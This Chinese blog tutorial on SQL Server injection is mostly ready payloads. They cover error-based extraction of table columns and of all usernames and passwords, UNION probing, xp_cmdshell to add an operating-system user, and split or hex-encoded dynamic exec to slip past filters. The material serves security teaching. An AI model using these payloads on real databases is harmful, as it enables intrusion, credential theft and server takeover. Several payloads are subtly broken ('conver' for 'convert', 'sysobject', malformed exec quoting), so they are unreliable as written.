• SQL Server注入


    1.利用错误消息提取信息

    1.1 枚举当前表与列

    select * from users where username='root' and password='root' having 1=1--' 
    抛出错误:选择列表中的列 'users.id' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

      发现表名为 'users',存在列名为 'id'

    select * from users where username='root' and password='root' group by users.id having 1=1--' 
    抛出错误:选择列表中的列 'users.username' 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

      可以利用having子句继续递归查询(如:select * from users where username='root' and password='root' group by users.id,users.username having 1=1--' )

    原理:凡是在group by后面出现的字段,必须同时在select后面出现;凡是在select后面出现的、同时未聚合函数出现的字段,必须同时出现在group by后面。

       在 SQL 中增加 HAVING 子句原因是,WHERE 关键字无法与合计函数一起使用。

    1.2 利用数据类型错误提取数据

    原理:试图将一个字符串与非字符串基本,或将一个字符串转换为另一个不兼容的类型时,那么SQL编辑器会抛出异常。

    select * from users where username='root' and password='root' and 1> (select top 1 username from users)
    错误提示:在将 varchar'root' 转换成数据类型 int时失败。

      利用此方法可以递归推导出所有账户信息:

    select * from users where username='root' and password='root' and 1> (select top 1 username from users where username not in ('root'))

      不嵌入子查询:常用内置函数(conver或者case函数:将一种数据类型转换为另一种数据类型)

    select * from users where username='root' and password='root' and 1=conver(int,(select top 1 username from users))

      也可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL语句如下:

    select * from users where username='root' and password='root' and 1=conver(int,(select stuff((select ','+users.username, '|'+users.password from users for xml path('')),1,1,'')))
    错误提示:在将nvarchar值 'root|root,admin|admin,xxser|xxser' 转换成数据类型int时失败

    2.获取元数据

    SQL Server 常用视图

    视    图 说    明
    sys.databases SQL Server 中所有数据库
    sys.sql_logins SQL Server 中所有登录名
    information_schema.tables 当前用户数据库中的表
    information_schema.columns 当前用户数据库中的列
    sys.all_columns 用户定义对象和系统对象的所有列的联合
    sys.database_principals 数据库中每个权限或列异常权限
    sys.database_files 存储在数据库中的数据库文件
    sysobjects 数据库中创建的每个对象(例如约束、日志以及存储过程)

    3. Order by 子句

      常用来判断表的列数

    4. UNION查询

      Union关键字将两个或更多个查询结果组合为单个结果集,即联合查询,基本规则:

    • 所有查询中的列数必须相同
    • 数据类型必须兼容

    4.1 联合查询探测字段数

      使用order by子句或者该联合查询语句 得到users表的字段数:

    select * from users where id = 1 union select null,null...

    4.2 联合查询敏感信息

    id=5 union select 'x',null,null,null from sysobject where xtype='U'

      语句执行正常代表数据类型兼容,就可以将x换位SQL语句(如利用视图查询)

      (xtype='U' 查询类型为表,用户定义类型)

    5. 常用的函数

    函    数 说    明
    stuff 字符串截取函数
    ascii 取ASCII码
    char 根据ASCII码取字符
    getdate 返回日期
    count 返回组中的总条数
    cast 将一种数据类型的表达式显式转换为另一种数据类型的表达式
    rand 返回随机值
    is_srvrolemember 指示SQL Server登录名是否为指定服务器角色的成员

    6. 危险的存储过程

      直接利用CMD创建新用户(要有CONTROL SERVER权限)

    select * from table where id=1; exec xp_cmdshell 'net user test test /add'

    7. 动态执行

      SQL Server 支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:

    exec('selec'+'t' username,password fro'+'m users')

      也可以通过定义十六进制的SQL语句,使用exec函数执行。绕过单引号过滤。

  • 相关阅读:
    MapReduce运行原理和过程
    为什么均方差(MSE)不适合分类问题?交叉熵(cross-entropy)不适合回归问题?
    207. 课程表
    131. 分割回文串
    152. 乘积最大子数组
    pandas内存优化函数
    395. 至少有K个重复字符的最长子串
    HTML入门
    递归与链表
    Spring--001
  • 原文地址:https://www.cnblogs.com/Vinson404/p/7787813.html
Copyright © 2020-2023  润新知